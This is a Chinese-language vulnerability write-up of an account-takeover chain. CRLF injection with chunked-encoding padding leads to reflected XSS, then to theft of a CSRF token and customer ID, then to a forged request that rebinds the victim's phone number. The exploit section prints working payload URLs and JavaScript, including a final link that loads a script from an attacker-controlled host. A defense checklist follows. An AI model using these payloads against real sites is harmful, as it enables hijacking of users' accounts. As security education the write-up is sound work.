挖洞经验 | 利用CRLF注入实现账户劫持
字数 870 2025-08-15 21:31:37
CRLF注入与账户劫持漏洞利用技术详解
漏洞背景
CRLF注入(Carriage Return Line Feed Injection)是一种通过注入特殊字符(回车%0D和换行%0A)来操纵HTTP头部或主体的攻击技术。结合其他漏洞可以形成严重的安全威胁,如本文介绍的账户劫持案例。
漏洞链概述
本案例展示了一个完整的漏洞利用链:
CRLF注入 → 分块传输编码绕过 → 反射型XSS → CORS配置不当 → CSRF绕过 → 账户劫持
关键漏洞点分析
1. CRLF注入漏洞
CRLF注入允许攻击者控制HTTP响应头或主体。在本案例中,攻击者发现目标网站存在多个CRLF注入点,构造如下Payload:
https://subdomain.redacted.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
解码后:
https://subdomain.redacted.com/?
Location:
Content-Type:text/html
X-XSS-Protection:0
<script>alert(document.domain)</script>
2. 分块传输编码问题
初始利用在Burp Suite中成功但在独立浏览器中失败,原因是:
- Burp Suite自动处理了分块编码元数据
- 独立浏览器严格解析导致失败
解决方案是精确计算并添加分块编码信息:
https://subdomain.redacted.com/%3f%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0AContent-Encoding:%20utf-8%0D%0A%0D%0A28%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E%0D%0A0%0D%0A%0D%0A
解码后:
https://subdomain.redacted.com/?
Content-Type:text/html
X-XSS-Protection:0
Content-Encoding: utf-8
28
<script>alert(document.domain)</script>
0
3. XSS漏洞利用
成功触发XSS后,攻击者构造脚本获取敏感信息:
xhr = new XMLHttpRequest();
xhr.open("GET","https://redacted.com",true);
xhr.withCredentials = true;
xhr.onreadystatechange = function () {
if(xhr.readyState === XMLHttpRequest.DONE){
data = xhr.responseText;
re = /"csrfToken":"[A-Z0-9]*"/g;
cid = /"customerID":[0-9]*/g;
console.log(data.match(re));
console.log(data.match(cid));
}
}
xhr.send();
4. 账户劫持实现
获取CSRF token和customerID后,构造POST请求修改用户绑定手机号:
function submitRequest(token, customer_id) {
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://www.redacted.com/a/sms_subs/subs", true);
xhr.setRequestHeader("Accept", "application/json");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;
var body = "{\"phone_number\":\"攻击者手机号\",\"customerID\":" + customer_id + ",\"country_calling_code\":\"US\",\"_csrf_token\":\"" + token + "\"}";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
完整利用链构造
最终攻击者构造的恶意链接:
https://subdomain.redacted.com/%3F%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3A0%0D%0AContent-Encoding:%20utf-8%0D%0A%0D%0A5D%0D%0A%3Cscript%3Edocument.write%28%27%3Cscript%20src%3D%22https%3A%5C%2F%5C%2Fataaker.com%2Fpipdec4.js%22%3E%3C%5C%2Fscript%3E%27%29%3C%2Fscript%3E%0D%0A0%0D%0A%0D%0A
解码后:
https://subdomain.redacted.com/?
Content-Type:text/html
X-XSS-Protection:0
Content-Encoding: utf-8
5D
<script>document.write('<script src="https:\/\/ataaker.com/pipdec4.js"><\/script>')</script>
0
防御措施
-
CRLF注入防御:
- 对用户输入进行严格过滤,移除%0D%0A等特殊字符
- 使用安全的API构建HTTP头部
-
XSS防御:
- 实施严格的CSP策略
- 对所有输出进行HTML编码
- 设置X-XSS-Protection头
-
CSRF防御:
- 使用同步器令牌模式
- 检查Referer头
- 设置SameSite Cookie属性
-
CORS配置:
- 严格限制Access-Control-Allow-Origin
- 避免使用Access-Control-Allow-Credentials: true
-
其他措施:
- 禁用不必要的内容编码
- 监控异常账户行为(如手机号变更)
- 实施敏感操作的多因素认证
总结
本案例展示了如何通过组合多个看似中低危的漏洞(CRLF注入、XSS、CSRF等)实现高风险的账户劫持攻击。安全防御需要全面考虑各个层面的防护,任何一环的缺失都可能导致整个安全体系被突破。